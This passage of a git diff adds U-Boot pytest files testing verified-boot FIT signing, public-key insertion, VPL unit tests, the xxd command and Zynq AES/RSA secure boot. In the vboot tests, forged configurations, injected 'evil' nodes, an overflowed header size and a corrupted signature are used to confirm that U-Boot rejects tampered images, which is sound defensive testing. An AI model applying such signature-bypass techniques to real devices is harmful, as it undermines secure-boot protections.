+ ['sha1-basic', 'sha1', '', None, False, True, False, False],
+ ['sha1-pad', 'sha1', '', '-E -p 0x10000', False, False, False, False],
+ ['sha1-pss', 'sha1', '-pss', None, False, False, False, False],
+ ['sha1-pss-pad', 'sha1', '-pss', '-E -p 0x10000', False, False, False, False],
+ ['sha256-basic', 'sha256', '', None, False, False, False, False],
+ ['sha256-pad', 'sha256', '', '-E -p 0x10000', False, False, False, False],
+ ['sha256-pss', 'sha256', '-pss', None, False, False, False, False],
+ ['sha256-pss-pad', 'sha256', '-pss', '-E -p 0x10000', False, False, False, False],
+ ['sha256-pss-required', 'sha256', '-pss', None, True, False, False, False],
+ ['sha256-pss-pad-required', 'sha256', '-pss', '-E -p 0x10000', True, True, False, False],
+ ['sha384-basic', 'sha384', '', None, False, False, False, False],
+ ['sha384-pad', 'sha384', '', '-E -p 0x10000', False, False, False, False],
+ ['algo-arg', 'algo-arg', '', '-o sha256,rsa2048', False, False, True, False],
+ ['sha256-global-sign', 'sha256', '', '', False, False, False, True],
+ ['sha256-global-sign-pss', 'sha256', '-pss', '', False, False, False, True],
+]
+
+# Mark all but the first test as slow, so they are not run with '-k not slow'
+TESTDATA = [TESTDATA_IN[0]]
+TESTDATA += [pytest.param(*v, marks=pytest.mark.slow) for v in TESTDATA_IN[1:]]
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('fdtget')
+@pytest.mark.requiredtool('fdtput')
+@pytest.mark.requiredtool('openssl')
+@pytest.mark.parametrize("name,sha_algo,padding,sign_options,required,full_test,algo_arg,global_sign",
+ TESTDATA)
+def test_vboot(u_boot_console, name, sha_algo, padding, sign_options, required,
+ full_test, algo_arg, global_sign):
+ """Test verified boot signing with mkimage and verification with 'bootm'.
+
+ This works using sandbox only as it needs to update the device tree used
+ by U-Boot to hold public keys from the signing process.
+
+ The SHA1 and SHA256 tests are combined into a single test since the
+ key-generation process is quite slow and we want to avoid doing it twice.
+ """
+ def dtc_options(dts, options):
+ """Run the device tree compiler to compile a .dts file
+
+ The output file will be the same as the input file but with a .dtb
+ extension.
+
+ Args:
+ dts: Device tree file to compile.
+ options: Options provided to the compiler.
+ """
+ dtb = dts.replace('.dts', '.dtb')
+ util.run_and_log(cons, 'dtc %s %s%s -O dtb '
+ '-o %s%s %s' % (dtc_args, datadir, dts, tmpdir, dtb, options))
+
+ def run_binman(dtb):
+ """Run binman to build an image
+
+ Args:
+ dtb: Device tree file used as input file.
+ """
+ pythonpath = os.environ.get('PYTHONPATH', '')
+ os.environ['PYTHONPATH'] = pythonpath + ':' + '%s/../scripts/dtc/pylibfdt' % tmpdir
+ util.run_and_log(cons, [binman, 'build', '-d', "%s/%s" % (tmpdir,dtb),
+ '-a', "pre-load-key-path=%s" % tmpdir, '-O',
+ tmpdir, '-I', tmpdir])
+ os.environ['PYTHONPATH'] = pythonpath
+
+ def run_bootm(sha_algo, test_type, expect_string, boots, fit=None):
+ """Run a 'bootm' command U-Boot.
+
+ This always starts a fresh U-Boot instance since the device tree may
+ contain a new public key.
+
+ Args:
+ test_type: A string identifying the test type.
+ expect_string: A string which is expected in the output.
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ boots: A boolean that is True if Linux should boot and False if
+ we are expected to not boot
+ fit: FIT filename to load and verify
+ """
+ if not fit:
+ fit = '%stest.fit' % tmpdir
+ cons.restart_uboot()
+ with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
+ output = cons.run_command_list(
+ ['host load hostfs - 100 %s' % fit,
+ 'fdt addr 100',
+ 'bootm 100'])
+ assert expect_string in ''.join(output)
+ if boots:
+ assert 'sandbox: continuing, as we cannot run' in ''.join(output)
+ else:
+ assert('sandbox: continuing, as we cannot run'
+ not in ''.join(output))
+
+ def sign_fit(sha_algo, options):
+ """Sign the FIT
+
+ Signs the FIT and writes the signature into it. It also writes the
+ public key into the dtb.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ options: Options to provide to mkimage.
+ """
+ args = [mkimage, '-F', '-k', tmpdir, '-K', dtb, '-r', fit]
+ if options:
+ args += options.split(' ')
+ cons.log.action('%s: Sign images' % sha_algo)
+ util.run_and_log(cons, args)
+
+ def sign_fit_dtb(sha_algo, options, dtb):
+ """Sign the FIT
+
+ Signs the FIT and writes the signature into it. It also writes the
+ public key into the dtb.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ options: Options to provide to mkimage.
+ """
+ args = [mkimage, '-F', '-k', tmpdir, '-K', dtb, '-r', fit]
+ if options:
+ args += options.split(' ')
+ cons.log.action('%s: Sign images' % sha_algo)
+ util.run_and_log(cons, args)
+
+ def sign_fit_norequire(sha_algo, options):
+ """Sign the FIT
+
+ Signs the FIT and writes the signature into it. It also writes the
+ public key into the dtb. It does not mark key as 'required' in dtb.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ options: Options to provide to mkimage.
+ """
+ args = [mkimage, '-F', '-k', tmpdir, '-K', dtb, fit]
+ if options:
+ args += options.split(' ')
+ cons.log.action('%s: Sign images' % sha_algo)
+ util.run_and_log(cons, args)
+
+ def replace_fit_totalsize(size):
+ """Replace FIT header's totalsize with something greater.
+
+ The totalsize must be less than or equal to FIT_SIGNATURE_MAX_SIZE.
+ If the size is greater, the signature verification should return false.
+
+ Args:
+ size: The new totalsize of the header
+
+ Returns:
+ prev_size: The previous totalsize read from the header
+ """
+ total_size = 0
+ with open(fit, 'r+b') as handle:
+ handle.seek(4)
+ total_size = handle.read(4)
+ handle.seek(4)
+ handle.write(struct.pack(">I", size))
+ return struct.unpack(">I", total_size)[0]
+
+ def corrupt_file(fit, offset, value):
+ """Corrupt a file
+
+ To corrupt a file, a value is written at the specified offset
+
+ Args:
+ fit: The file to corrupt
+ offset: Offset to write
+ value: Value written
+ """
+ with open(fit, 'r+b') as handle:
+ handle.seek(offset)
+ handle.write(struct.pack(">I", value))
+
+ def create_rsa_pair(name):
+ """Generate a new RSA key paid and certificate
+
+ Args:
+ name: Name of of the key (e.g. 'dev')
+ """
+ public_exponent = 65537
+
+ if sha_algo == "sha384":
+ rsa_keygen_bits = 3072
+ else:
+ rsa_keygen_bits = 2048
+
+ util.run_and_log(cons, 'openssl genpkey -algorithm RSA -out %s%s.key '
+ '-pkeyopt rsa_keygen_bits:%d '
+ '-pkeyopt rsa_keygen_pubexp:%d' %
+ (tmpdir, name, rsa_keygen_bits, public_exponent))
+
+ # Create a certificate containing the public key
+ util.run_and_log(cons, 'openssl req -batch -new -x509 -key %s%s.key '
+ '-out %s%s.crt' % (tmpdir, name, tmpdir, name))
+
+ def test_with_algo(sha_algo, padding, sign_options):
+ """Test verified boot with the given hash algorithm.
+
+ This is the main part of the test code. The same procedure is followed
+ for both hashing algorithms.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ padding: Either '' or '-pss', to select the padding to use for the
+ rsa signature algorithm.
+ sign_options: Options to mkimage when signing a fit image.
+ """
+ # Compile our device tree files for kernel and U-Boot. These are
+ # regenerated here since mkimage will modify them (by adding a
+ # public key) below.
+ dtc('sandbox-kernel.dts', cons, dtc_args, datadir, tmpdir, dtb)
+ dtc('sandbox-u-boot.dts', cons, dtc_args, datadir, tmpdir, dtb)
+
+ # Build the FIT, but don't sign anything yet
+ cons.log.action('%s: Test FIT with signed images' % sha_algo)
+ make_fit('sign-images-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ run_bootm(sha_algo, 'unsigned images', ' - OK' if algo_arg else 'dev-', True)
+
+ # Sign images with our dev keys
+ sign_fit(sha_algo, sign_options)
+ run_bootm(sha_algo, 'signed images', 'dev+', True)
+
+ # Create a fresh .dtb without the public keys
+ dtc('sandbox-u-boot.dts', cons, dtc_args, datadir, tmpdir, dtb)
+
+ cons.log.action('%s: Test FIT with signed configuration' % sha_algo)
+ make_fit('sign-configs-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ run_bootm(sha_algo, 'unsigned config', '%s+ OK' % ('sha256' if algo_arg else sha_algo), True)
+
+ # Sign images with our dev keys
+ sign_fit(sha_algo, sign_options)
+ run_bootm(sha_algo, 'signed config', 'dev+', True)
+
+ cons.log.action('%s: Check signed config on the host' % sha_algo)
+
+ util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
+
+ if full_test:
+ # Make sure that U-Boot checks that the config is in the list of
+ # hashed nodes. If it isn't, a security bypass is possible.
+ ffit = '%stest.forged.fit' % tmpdir
+ shutil.copyfile(fit, ffit)
+ with open(ffit, 'rb') as fd:
+ root, strblock = vboot_forge.read_fdt(fd)
+ root, strblock = vboot_forge.manipulate(root, strblock)
+ with open(ffit, 'w+b') as fd:
+ vboot_forge.write_fdt(root, strblock, fd)
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', ffit, '-k', dtb],
+ 1, 'Failed to verify required signature')
+
+ run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False, ffit)
+
+ # Try adding an evil root node. This should be detected.
+ efit = '%stest.evilf.fit' % tmpdir
+ shutil.copyfile(fit, efit)
+ vboot_evil.add_evil_node(fit, efit, evil_kernel, 'fakeroot')
+
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', efit, '-k', dtb],
+ 1, 'Failed to verify required signature')
+ run_bootm(sha_algo, 'evil fakeroot', 'Bad FIT kernel image format',
+ False, efit)
+
+ # Try adding an @ to the kernel node name. This should be detected.
+ efit = '%stest.evilk.fit' % tmpdir
+ shutil.copyfile(fit, efit)
+ vboot_evil.add_evil_node(fit, efit, evil_kernel, 'kernel@')
+
+ msg = 'Signature checking prevents use of unit addresses (@) in nodes'
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', efit, '-k', dtb],
+ 1, msg)
+ run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
+
+ # Create a new properly signed fit and replace header bytes
+ make_fit('sign-configs-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ sign_fit(sha_algo, sign_options)
+ bcfg = u_boot_console.config.buildconfig
+ max_size = int(bcfg.get('config_fit_signature_max_size', 0x10000000), 0)
+ existing_size = replace_fit_totalsize(max_size + 1)
+ run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
+ False)
+ cons.log.action('%s: Check overflowed FIT header totalsize' % sha_algo)
+
+ # Replace with existing header bytes
+ replace_fit_totalsize(existing_size)
+ run_bootm(sha_algo, 'signed config', 'dev+', True)
+ cons.log.action('%s: Check default FIT header totalsize' % sha_algo)
+
+ # Increment the first byte of the signature, which should cause failure
+ sig = util.run_and_log(cons, 'fdtget -t bx %s %s value' %
+ (fit, sig_node))
+ byte_list = sig.split()
+ byte = int(byte_list[0], 16)
+ byte_list[0] = '%x' % (byte + 1)
+ sig = ' '.join(byte_list)
+ util.run_and_log(cons, 'fdtput -t bx %s %s value %s' %
+ (fit, sig_node, sig))
+
+ run_bootm(sha_algo, 'Signed config with bad hash', 'Bad Data Hash',
+ False)
+
+ cons.log.action('%s: Check bad config on the host' % sha_algo)
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', fit, '-k', dtb],
+ 1, 'Failed to verify required signature')
+
+ def test_required_key(sha_algo, padding, sign_options):
+ """Test verified boot with the given hash algorithm.
+
+ This function tests if U-Boot rejects an image when a required key isn't
+ used to sign a FIT.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
+ padding: Either '' or '-pss', to select the padding to use for the
+ rsa signature algorithm.
+ sign_options: Options to mkimage when signing a fit image.
+ """
+ # Compile our device tree files for kernel and U-Boot. These are
+ # regenerated here since mkimage will modify them (by adding a
+ # public key) below.
+ dtc('sandbox-kernel.dts', cons, dtc_args, datadir, tmpdir, dtb)
+ dtc('sandbox-u-boot.dts', cons, dtc_args, datadir, tmpdir, dtb)
+
+ cons.log.action('%s: Test FIT with configs images' % sha_algo)
+
+ # Build the FIT with prod key (keys required) and sign it. This puts the
+ # signature into sandbox-u-boot.dtb, marked 'required'
+ make_fit('sign-configs-%s%s-prod.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ sign_fit(sha_algo, sign_options)
+
+ # Build the FIT with dev key (keys NOT required). This adds the
+ # signature into sandbox-u-boot.dtb, NOT marked 'required'.
+ make_fit('sign-configs-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ sign_fit_norequire(sha_algo, sign_options)
+
+ # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+ # Only the prod key is set as 'required'. But FIT we just built has
+ # a dev signature only (sign_fit_norequire() overwrites the FIT).
+ # Try to boot the FIT with dev key. This FIT should not be accepted by
+ # U-Boot because the prod key is required.
+ run_bootm(sha_algo, 'required key', '', False)
+
+ # Build the FIT with dev key (keys required) and sign it. This puts the
+ # signature into sandbox-u-boot.dtb, marked 'required'.
+ make_fit('sign-configs-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+ sign_fit(sha_algo, sign_options)
+
+ # Set the required-mode policy to "any".
+ # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+ # Both the dev and prod key are set as 'required'. But FIT we just built has
+ # a dev signature only (sign_fit() overwrites the FIT).
+ # Try to boot the FIT with dev key. This FIT should be accepted by
+ # U-Boot because the dev key is required and policy is "any" required key.
+ util.run_and_log(cons, 'fdtput -t s %s /signature required-mode any' %
+ (dtb))
+ run_bootm(sha_algo, 'multi required key', 'dev+', True)
+
+ # Set the required-mode policy to "all".
+ # So now sandbox-u-boot.dtb two signatures, for the prod and dev keys.
+ # Both the dev and prod key are set as 'required'. But FIT we just built has
+ # a dev signature only (sign_fit() overwrites the FIT).
+ # Try to boot the FIT with dev key. This FIT should not be accepted by
+ # U-Boot because the prod key is required and policy is "all" required key
+ util.run_and_log(cons, 'fdtput -t s %s /signature required-mode all' %
+ (dtb))
+ run_bootm(sha_algo, 'multi required key', '', False)
+
+ def test_global_sign(sha_algo, padding, sign_options):
+ """Test global image signature with the given hash algorithm and padding.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
+ padding: Either '' or '-pss', to select the padding to use for the
+ rsa signature algorithm.
+ """
+
+ dtb = '%ssandbox-u-boot-global%s.dtb' % (tmpdir, padding)
+ cons.config.dtb = dtb
+
+ # Compile our device tree files for kernel and U-Boot. These are
+ # regenerated here since mkimage will modify them (by adding a
+ # public key) below.
+ dtc('sandbox-kernel.dts', cons, dtc_args, datadir, tmpdir, dtb)
+ dtc_options('sandbox-u-boot-global%s.dts' % padding, '-p 1024')
+
+ # Build the FIT with dev key (keys NOT required). This adds the
+ # signature into sandbox-u-boot.dtb, NOT marked 'required'.
+ make_fit('simple-images.its', cons, mkimage, dtc_args, datadir, fit)
+ sign_fit_dtb(sha_algo, '', dtb)
+
+ # Build the dtb for binman that define the pre-load header
+ # with the global sigature.
+ dtc('sandbox-binman%s.dts' % padding, cons, dtc_args, datadir, tmpdir, dtb)
+
+ # Run binman to create the final image with the not signed fit
+ # and the pre-load header that contains the global signature.
+ run_binman('sandbox-binman%s.dtb' % padding)
+
+ # Check that the signature is correctly verified by u-boot
+ run_bootm(sha_algo, 'global image signature',
+ 'signature check has succeed', True, "%ssandbox.img" % tmpdir)
+
+ # Corrupt the image (just one byte after the pre-load header)
+ corrupt_file("%ssandbox.img" % tmpdir, 4096, 255);
+
+ # Check that the signature verification fails
+ run_bootm(sha_algo, 'global image signature',
+ 'signature check has failed', False, "%ssandbox.img" % tmpdir)
+
+ # Check that the boot fails if the global signature is not provided
+ run_bootm(sha_algo, 'global image signature', 'signature is mandatory', False)
+
+ cons = u_boot_console
+ tmpdir = os.path.join(cons.config.result_dir, name) + '/'
+ if not os.path.exists(tmpdir):
+ os.mkdir(tmpdir)
+ datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+ fit = '%stest.fit' % tmpdir
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ binman = cons.config.source_dir + '/tools/binman/binman'
+ fit_check_sign = cons.config.build_dir + '/tools/fit_check_sign'
+ dtc_args = '-I dts -O dtb -i %s' % tmpdir
+ dtb = '%ssandbox-u-boot.dtb' % tmpdir
+ sig_node = '/configurations/conf-1/signature'
+
+ create_rsa_pair('dev')
+ create_rsa_pair('prod')
+
+ # Create a number kernel image with zeroes
+ with open('%stest-kernel.bin' % tmpdir, 'wb') as fd:
+ fd.write(500 * b'\0')
+
+ # Create a second kernel image with ones
+ evil_kernel = '%stest-kernel1.bin' % tmpdir
+ with open(evil_kernel, 'wb') as fd:
+ fd.write(500 * b'\x01')
+
+ # We need to use our own device tree file. Remember to restore it
+ # afterwards.
+ old_dtb = cons.config.dtb
+ try:
+ cons.config.dtb = dtb
+ if global_sign:
+ test_global_sign(sha_algo, padding, sign_options)
+ elif required:
+ test_required_key(sha_algo, padding, sign_options)
+ else:
+ test_with_algo(sha_algo, padding, sign_options)
+ finally:
+ # Go back to the original U-Boot with the correct dtb.
+ cons.config.dtb = old_dtb
+ cons.restart_uboot()
+
+
+TESTDATA_IN = [
+ ['sha1-basic', 'sha1', '', None, False],
+ ['sha1-pad', 'sha1', '', '-E -p 0x10000', False],
+ ['sha1-pss', 'sha1', '-pss', None, False],
+ ['sha1-pss-pad', 'sha1', '-pss', '-E -p 0x10000', False],
+ ['sha256-basic', 'sha256', '', None, False],
+ ['sha256-pad', 'sha256', '', '-E -p 0x10000', False],
+ ['sha256-pss', 'sha256', '-pss', None, False],
+ ['sha256-pss-pad', 'sha256', '-pss', '-E -p 0x10000', False],
+ ['sha256-pss-required', 'sha256', '-pss', None, False],
+ ['sha256-pss-pad-required', 'sha256', '-pss', '-E -p 0x10000', False],
+ ['sha384-basic', 'sha384', '', None, False],
+ ['sha384-pad', 'sha384', '', '-E -p 0x10000', False],
+ ['algo-arg', 'algo-arg', '', '-o sha256,rsa2048', True],
+ ['sha256-global-sign', 'sha256', '', '', False],
+ ['sha256-global-sign-pss', 'sha256', '-pss', '', False],
+]
+
+# Mark all but the first test as slow, so they are not run with '-k not slow'
+TESTDATA = [TESTDATA_IN[0]]
+TESTDATA += [pytest.param(*v, marks=pytest.mark.slow) for v in TESTDATA_IN[1:]]
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('fit_signature')
+@pytest.mark.requiredtool('dtc')
+@pytest.mark.requiredtool('openssl')
+@pytest.mark.parametrize("name,sha_algo,padding,sign_options,algo_arg", TESTDATA)
+def test_fdt_add_pubkey(u_boot_console, name, sha_algo, padding, sign_options, algo_arg):
+ """Test fdt_add_pubkey utility with bunch of different algo options."""
+
+ def sign_fit(sha_algo, options):
+ """Sign the FIT
+
+ Signs the FIT and writes the signature into it.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to
+ use.
+ options: Options to provide to mkimage.
+ """
+ args = [mkimage, '-F', '-k', tmpdir, fit]
+ if options:
+ args += options.split(' ')
+ cons.log.action('%s: Sign images' % sha_algo)
+ util.run_and_log(cons, args)
+
+ def test_add_pubkey(sha_algo, padding, sign_options):
+ """Test fdt_add_pubkey utility with given hash algorithm and padding.
+
+ This function tests if fdt_add_pubkey utility may add public keys into dtb.
+
+ Args:
+ sha_algo: Either 'sha1' or 'sha256', to select the algorithm to use
+ padding: Either '' or '-pss', to select the padding to use for the
+ rsa signature algorithm.
+ sign_options: Options to mkimage when signing a fit image.
+ """
+
+ # Create a fresh .dtb without the public keys
+ dtc('sandbox-u-boot.dts', cons, dtc_args, datadir, tmpdir, dtb)
+
+ cons.log.action('%s: Test fdt_add_pubkey with signed configuration' % sha_algo)
+ # Then add the dev key via the fdt_add_pubkey tool
+ util.run_and_log(cons, [fdt_add_pubkey, '-a', '%s,%s' % ('sha256' if algo_arg else sha_algo, \
+ 'rsa3072' if sha_algo == 'sha384' else 'rsa2048'),
+ '-k', tmpdir, '-n', 'dev', '-r', 'conf', dtb])
+
+ make_fit('sign-configs-%s%s.its' % (sha_algo, padding), cons, mkimage, dtc_args, datadir, fit)
+
+ # Sign images with our dev keys
+ sign_fit(sha_algo, sign_options)
+
+ # Check with fit_check_sign that FIT is signed with key
+ util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
+
+ cons = u_boot_console
+ tmpdir = os.path.join(cons.config.result_dir, name) + '/'
+ if not os.path.exists(tmpdir):
+ os.mkdir(tmpdir)
+ datadir = cons.config.source_dir + '/test/py/tests/vboot/'
+ fit = '%stest.fit' % tmpdir
+ mkimage = cons.config.build_dir + '/tools/mkimage'
+ binman = cons.config.source_dir + '/tools/binman/binman'
+ fit_check_sign = cons.config.build_dir + '/tools/fit_check_sign'
+ fdt_add_pubkey = cons.config.build_dir + '/tools/fdt_add_pubkey'
+ dtc_args = '-I dts -O dtb -i %s' % tmpdir
+ dtb = '%ssandbox-u-boot.dtb' % tmpdir
+
+ # keys created in test_vboot test
+
+ test_add_pubkey(sha_algo, padding, sign_options)
diff --git a/test/py/tests/test_vpl.py b/test/py/tests/test_vpl.py
new file mode 100644
index 00000000000..4af578b9173
--- /dev/null
+++ b/test/py/tests/test_vpl.py
@@ -0,0 +1,34 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2022 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import os.path
+import pytest
+
+def test_vpl(u_boot_console, ut_vpl_subtest):
+ """Execute a "ut" subtest.
+
+ The subtests are collected in function generate_ut_subtest() from linker
+ generated lists by applying a regular expression to the lines of file
+ vpl/u-boot-vpl.sym. The list entries are created using the C macro
+ UNIT_TEST().
+
+ Strict naming conventions have to be followed to match the regular
+ expression. Use UNIT_TEST(foo_test_bar, _flags, foo_test) for a test bar in
+ test suite foo that can be executed via command 'ut foo bar' and is
+ implemented in C function foo_test_bar().
+
+ Args:
+ u_boot_console (ConsoleBase): U-Boot console
+ ut_subtest (str): VPL test to be executed (e.g. 'dm platdata_phandle')
+ """
+ try:
+ cons = u_boot_console
+ cons.restart_uboot_with_flags(['-u', '-k', ut_vpl_subtest.split()[1]])
+ output = cons.get_spawn_output().replace('\r', '')
+ assert 'Failures: 0' in output
+ finally:
+ # Restart afterward in case a non-VPL test is run next. This should not
+ # happen since VPL tests are run in their own invocation of test.py, but
+ # the cost of doing this is not too great at present.
+ u_boot_console.restart_uboot()
diff --git a/test/py/tests/test_xxd/conftest.py b/test/py/tests/test_xxd/conftest.py
new file mode 100644
index 00000000000..47c7cce1aa9
--- /dev/null
+++ b/test/py/tests/test_xxd/conftest.py
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+"""Fixture for xxd command test
+"""
+
+import os
+import shutil
+from subprocess import check_call, CalledProcessError
+import pytest
+
+@pytest.fixture(scope='session')
+def xxd_data(u_boot_config):
+ """Set up a file system to be used in xxd tests
+
+ Args:
+ u_boot_config -- U-Boot configuration.
+ """
+ mnt_point = u_boot_config.persistent_data_dir + '/test_xxd'
+ image_path = u_boot_config.persistent_data_dir + '/xxd.img'
+
+ try:
+ os.mkdir(mnt_point, mode = 0o755)
+
+ with open(mnt_point + '/hello', 'w', encoding = 'ascii') as file:
+ file.write('hello world\n\x00\x01\x02\x03\x04\x05')
+
+ check_call(f'virt-make-fs --partition=gpt --size=+1M --type=vfat {mnt_point} {image_path}',
+ shell=True)
+
+ yield image_path
+ except CalledProcessError:
+ pytest.skip('Setup failed')
+ finally:
+ shutil.rmtree(mnt_point)
+ if os.path.exists(image_path):
+ os.remove(image_path)
diff --git a/test/py/tests/test_xxd/test_xxd.py b/test/py/tests/test_xxd/test_xxd.py
new file mode 100644
index 00000000000..06b9cfc0003
--- /dev/null
+++ b/test/py/tests/test_xxd/test_xxd.py
@@ -0,0 +1,23 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+""" Unit test for xxd command
+"""
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_xxd')
+def test_xxd(u_boot_console, xxd_data):
+ """ Unit test for xxd
+
+ Args:
+ u_boot_console -- U-Boot console
+ xxd_data -- Path to the disk image used for testing.
+ """
+ response = u_boot_console.run_command_list([
+ f'host bind 0 {xxd_data}',
+ 'xxd host 0 hello'])
+
+ assert '00000000: 68 65 6c 6c 6f 20 77 6f 72 6c 64 0a 00 01 02 03 hello world.....\r\r\n' + \
+ '00000010: 04 05 ..' \
+ in response
diff --git a/test/py/tests/test_zynq_secure.py b/test/py/tests/test_zynq_secure.py
new file mode 100644
index 00000000000..0ee5aebc484
--- /dev/null
+++ b/test/py/tests/test_zynq_secure.py
@@ -0,0 +1,190 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import re
+import u_boot_utils
+import test_net
+
+"""
+This test verifies different type of secure boot images to authentication and
+decryption using AES and RSA features for AMD's Zynq SoC.
+
+Note: This test relies on boardenv_* containing configuration values to define
+the network available and files to be used for testing. Without this, this test
+will be automatically skipped. It also relies on dhcp or setup_static net test
+to support tftp to load files from a TFTP server.
+
+For example:
+
+# Details regarding the files that may be read from a TFTP server and addresses
+# and size for aes and rsa cases respectively. This variable may be omitted or
+# set to None if zynqmp secure testing is not possible or desired.
+env__zynq_aes_readable_file = {
+ 'fn': 'zynq_aes_image.bin',
+ 'fnbit': 'zynq_aes_bit.bin',
+ 'fnpbit': 'zynq_aes_par_bit.bin',
+ 'srcaddr': 0x1000000,
+ 'dstaddr': 0x2000000,
+ 'dstlen': 0x1000000,
+}
+
+env__zynq_rsa_readable_file = {
+ 'fn': 'zynq_rsa_image.bin',
+ 'fninvalid': 'zynq_rsa_image_invalid.bin',
+ 'srcaddr': 0x1000000,
+}
+"""
+
+def zynq_secure_pre_commands(u_boot_console):
+ output = u_boot_console.run_command('print modeboot')
+ if not 'modeboot=' in output:
+ pytest.skip('bootmode cannnot be determined')
+ m = re.search('modeboot=(.+?)boot', output)
+ if not m:
+ pytest.skip('bootmode cannnot be determined')
+ bootmode = m.group(1)
+ if bootmode == 'jtag':
+ pytest.skip('skipping due to jtag bootmode')
+
+@pytest.mark.buildconfigspec('cmd_zynq_aes')
+def test_zynq_aes_image(u_boot_console):
+ f = u_boot_console.config.env.get('env__zynq_aes_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynq secure aes case to read')
+
+ dstaddr = f.get('dstaddr', None)
+ if not dstaddr:
+ pytest.skip('No dstaddr specified in env file to read')
+
+ dstsize = f.get('dstlen', None)
+ if not dstsize:
+ pytest.skip('No dstlen specified in env file to read')
+
+ zynq_secure_pre_commands(u_boot_console)
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ srcaddr = f.get('srcaddr', None)
+ if not srcaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (srcaddr, fn))
+ assert expected_tftp in output
+
+ expected_op = 'zynq aes [operation type] <srcaddr>'
+ output = u_boot_console.run_command(
+ 'zynq aes %x $filesize %x %x' % (srcaddr, dstaddr, dstsize)
+ )
+ assert expected_op not in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_zynq_aes')
+def test_zynq_aes_bitstream(u_boot_console):
+ f = u_boot_console.config.env.get('env__zynq_aes_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynq secure aes case to read')
+
+ zynq_secure_pre_commands(u_boot_console)
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ srcaddr = f.get('srcaddr', None)
+ if not srcaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fnbit']
+ output = u_boot_console.run_command('tftpboot %x %s' % (srcaddr, fn))
+ assert expected_tftp in output
+
+ expected_op = 'zynq aes [operation type] <srcaddr>'
+ output = u_boot_console.run_command(
+ 'zynq aes load %x $filesize' % (srcaddr)
+ )
+ assert expected_op not in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_zynq_aes')
+def test_zynq_aes_partial_bitstream(u_boot_console):
+ f = u_boot_console.config.env.get('env__zynq_aes_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynq secure aes case to read')
+
+ zynq_secure_pre_commands(u_boot_console)
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ srcaddr = f.get('srcaddr', None)
+ if not srcaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fnpbit']
+ output = u_boot_console.run_command('tftpboot %x %s' % (srcaddr, fn))
+ assert expected_tftp in output
+
+ expected_op = 'zynq aes [operation type] <srcaddr>'
+ output = u_boot_console.run_command('zynq aes loadp %x $filesize' % (srcaddr))
+ assert expected_op not in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_zynq_rsa')
+def test_zynq_rsa_image(u_boot_console):
+ f = u_boot_console.config.env.get('env__zynq_rsa_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynq secure rsa case to read')
+
+ zynq_secure_pre_commands(u_boot_console)
